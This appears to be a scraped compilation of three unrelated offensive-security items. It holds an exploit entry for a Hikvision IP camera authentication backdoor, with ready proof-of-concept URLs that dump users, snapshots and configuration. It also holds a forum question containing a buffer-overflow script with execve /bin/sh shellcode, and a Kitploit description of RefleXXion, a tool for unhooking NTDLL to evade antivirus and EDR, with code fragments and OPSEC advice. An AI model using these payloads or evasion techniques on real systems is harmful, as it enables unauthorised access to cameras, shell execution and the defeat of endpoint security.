Hikvision IP Camera Backdoor

# Exploit Title: Hikvision IP Camera - Backdoor
# Date: 14/03/2022
# Exploit Author: Sobhan Mahmoodi
# Reference: https://ipvm.com/reports/hik-exploit
# GitHub: https://github.com/bp2008/HikPasswordHelper/

Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands: (?auth=YWRtaW46MTEK)

# Proof of Concept:

Retrieve a list of all users and their roles:
- http://camera.ip/Security/users?auth=YWRtaW46MTEK

Obtain a camera snapshot without authentication:
- http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

Download camera configuration:
- http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

hacking: security in practice
Buffer overflow shellcode works in GDB but segmentation fault when ran without gdb.

I'm trying to implement a buffer overflow attack and get the shell access. For generating the exploited input my python file is as follows:

import struct
padding = "A"*160
eip = struct.pack("I", 0xffffcd70)
nopslide = "\x90"*100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding+eip+nopslide+payload

Let's say, I store the output of the python script in a file named exp.

Now, when I run the vulnerable program in gdb, with r < exp, I get

process 190136 is executing new program: /usr/bin/dash

[Inferior 1 (process 190136) exited normally]

But when, I run the program without gdb, for e.g. like pythonexploit.py| ./vulnI get a segmentation fault.

Any clues on what I'm doing wrong, and why the program works in gdb but not without it.

RefleXXion - A Utility Designed To Aid In Bypassing User-Mode Hooks Utilised By AV/EPP/EDR Etc
http://www.kitploit.com/2022/03/reflexxion-utility-designed-to-aid-in.html

___________________________

Introduction RefleXXion is a utility designed to aid in bypassing (https://www.kitploit.com/search/label/Bypassing) user-mode hooks utilised by AV/EPP/EDR etc. In order to bypass the user-mode hooks, it first collects the syscall numbers of the NtOpenFile, NtCreateSection, NtOpenSection and NtMapViewOfSection found in the LdrpThunkSignature array. After that, there are two techniques that the user can choose to bypass the user-mode hooks.
Technique-1, reads the NTDLL as a file from C:\Windows\System32\ntdll.dll. After parsing, the .TEXT section of the already loaded NTDLL (where the hooks are performed) in memory (https://www.kitploit.com/search/label/Memory) is replaced with the .TEXT section of the clean NTDLL. In Technique-2, NTDLL reads as Section from KnownDlls, \KnownDlls\ntdll.dll. (beacuse DLL (https://www.kitploit.com/search/label/DLL) files are cached in KnownDlls as Section.) After parsing, the .TEXT section of the already loaded NTDLL (where the hooks are performed) in memory is replaced with the .TEXT section of the clean NTDLL. The detailed flow of the methodology and all techniques is given below.

How to Use You can open and compile the project with Visual Studio. The whole project supports x64 architecture for both Debug and Release modes. The RefleXXion-EXE solution generates the EXE for PoC purpose. If you want to understand how the project works step by step, it will make your job easier. Main function contains Technique1 and Technique2 functions definations. Comment one of them and compile. Do not use both functions at the same time. The RefleXXion-DLL solution generates the DLL that you inject into the process you want to bypass the user-mode hooks for NTDLL. At the beginning of the main.cpp file, there are definitions of which technique to use. You can choose one of them and compile it. Do not set all values at the same time, set only the one technique you want. Example configuration is given below. // Techniques configuration section
#define FROM_DISK 1 // If you set it to 1, the Technique-1 will be used. For more information; https://github.com/hlldz/RefleXXion
#define FROM_KNOWNDLLS 0 // If you set it to 1, the Technique-2 will be used. For more information; https://github.com/hlldz/RefleXXion Operational Usage Notes & OPSEC Concerns RefleXXion currently is only supports for x64 architecture. RefleXXion only unhooks NTDLL functions, you may need to unhook other DLLs (kernel32.dll, advapi32.dll etc.) as well. For this, you can easily edit the necessary places in the project. The RefleXXion only uses the RWX memory region when overwriting the .TEXT section process starts. For this process a new memory reginon is not created, the existing memory region (the TEXT section of the NTDLL that is already loaded) is RWXed and then converted to RX. ULONG oldProtection;
ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy()...
ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, oldProtection, &oldProtection); P.S. The RefleXXion invokes the NtProtectVirtualMemory API over the cleanly installed NTDLL. It uses the CustomGetProcAddress function for this because the clean NTDLL is not in the InLoadOrderModuleList even though it is loaded into memory. So a solution like here (https://stackoverflow.com/questions/6734095/how-to-get-module-handle-from-func-ptr-in-win32) will not work. That's why the custom GetProcAddress function exists and is used. You can load RefleXXion DLL from disk to target process. You may not prefer a run like this for sensitive work such as a Red Team (https://www.kitploit.com/search/label/Red%20Team) operation. Therefore, you can convert the RefleXXion DLL to shellcode using the sRDI (https://www.kitploit.com/search/label/sRDI) project or integrate the RefleXXion code into your own loader or project. Even if NTDLL (as file or as section) is reloaded to the injected process, it does not remain loaded. RefleXXion close all opened handles (file & section handles) for own processes.
